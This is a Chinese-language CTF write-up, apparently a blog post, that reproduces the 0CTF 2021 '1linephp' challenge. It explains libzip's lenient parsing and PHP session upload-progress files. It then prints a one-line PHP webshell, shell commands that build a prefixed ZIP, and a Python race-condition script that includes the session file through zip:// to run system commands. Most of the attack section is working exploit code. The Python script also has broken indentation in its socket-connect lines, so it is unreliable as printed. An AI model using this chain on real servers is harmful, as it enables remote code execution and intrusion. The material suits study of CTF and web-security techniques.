【0CTF 2021】1linephp 题目复现

题目

<?php
($_=@$_GET['yxxx'].'.php') && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__) && include('phpinfo.html');

解析

PHP的zip扩展依赖libzip库,其解析ZIP文件的逻辑是从文件末尾反向查找关键标识

  1. 先在文件末尾范围内查找EOCD(End of Central Directory,ZIP 文件的尾部标识,有固定 “MAGIC” 值);
  2. 定位CDH:通过EOCD中记录的offset(偏移量),向前找到CDH(Central Directory Header,中央目录头);
  3. 定位压缩数据:再通过CDH中记录的offset,向前找到LFH(Local File Header,本地文件头),最终读取压缩文件数据。

只要正确修改EOCD和CDH中的offset,让其指向正确的CDH和LFH,就可以在ZIP文件的开头、末尾或各部分之间插入任意多余数据,libzip仍能正常解析

注意:如果在zip_open时开启了ZIP_CHECKCONS这个选项,那么解析zip时的检查会更严格。

PHP的PHP_SESSION_UPLOAD_PROGRESS(session.upload_progress.name默认值)特性是 “生成恶意文件” 的载体,其核心作用是将可控数据写入固定路径的session文件:

  1. session.upload_progress.enabled INI选项开启时(默认开启),PHP 处理文件上传时,会将上传进度信息(包括PHP_SESSION_UPLOAD_PROGRESS参数的自定义值)写入session文件;
  2. session文件路径固定:默认路径为/tmp/sess_<PHPSESSID>,只要知道PHPSESSID(可通过Cookie指定),就能精确定位文件;
  3. 通过上传大一点的文件来延长session文件的生存周期,便于恶意数据能被读取。

题解

通过题目可以看到session.upload_progress.enabled和session.upload_progress.name的设置。

在Cookie中找到PHPSESSID。

构造一句话木马用于触发include($_):@<?php $_GET['0']($_GET['1']);?>,写入include.php。在Linux终端执行以下命令,生成payload。upload_progress_前缀的作用是适配PHP Session上传进度的格式:PHP 在记录上传进度时,Session 文件中会包含upload_progress_<key>格式的键名。

zip a.zip include.php
echo -n "upload_progress_" > f
cat f a.zip > b.zip
zip -F b.zip --out c.zip

将大佬的exp修改使用:

import requests
import socket
import time

port = 50080
php_session_id = "l645nf32feems2k48phr3nk2nr"
ip = "192.168.88.128"

with open("c.zip", "rb") as f:
    data = f.read()

PREFIX = "upload_progress_"
payload = data[len(PREFIX):]

def exp():
    res = requests.get(
        f"http://{ip}:{port}/",
        params={
            "yxxx": f"zip:///tmp/sess_{php_session_id}#include",
            "0": "system",
            "1": "ls /",    #cat /dd810fc36330c200a_flag/flag
        },
    )
    print(res.text)


def build_http_request_packet(req: requests.PreparedRequest):
    packet = b""
    packet += f"{req.method} {req.path_url} HTTP/1.1\r\n".encode()
    for header, value in req.headers.items():
        packet += f"{header}: {value}\r\n".encode()
    packet += b"\r\n"
    if req.body is not None:
        if "Content-Length" in req.headers:
            if type(req.body) is str:
                packet += req.body.encode()
            else:
                packet += req.body
        else:
            for part in req.body:
                packet += f"{len(part):x}\r\n".encode()
                packet += f"{part}\r\n".encode()
            packet += b"0\r\n\r\n"
    return packet


def do_so():
    req = requests.Request(
        "POST",
        f"http://{ip}:{port}/",
        headers={"Host": f"{ip}:{port}"},
        cookies={"PHPSESSID": php_session_id},
        data={
            "PHP_SESSION_UPLOAD_PROGRESS": payload,
        },
        files={"file": ("simple.txt", b"ccl" * 4096)}, # 延长session文件的生存周期
    )
    packet = build_http_request_packet(req.prepare())
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((f"{ip}", port))
# 使一句话木马被充分执行
    s.sendall(packet[:-8])
    exp()
    s.sendall(packet[-8:])
    s.close()


if __name__ == "__main__":
    do_so()

参考

WriteUp参考:

https://github.com/waderwu/My-CTF-Challenges/tree/master/0ctf-2021/1linephp#writeup

payload生成参考:

https://github.com/perfectblue/ctf-writeups/tree/master/2021/0ctf-2021-quals/onelinephp

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值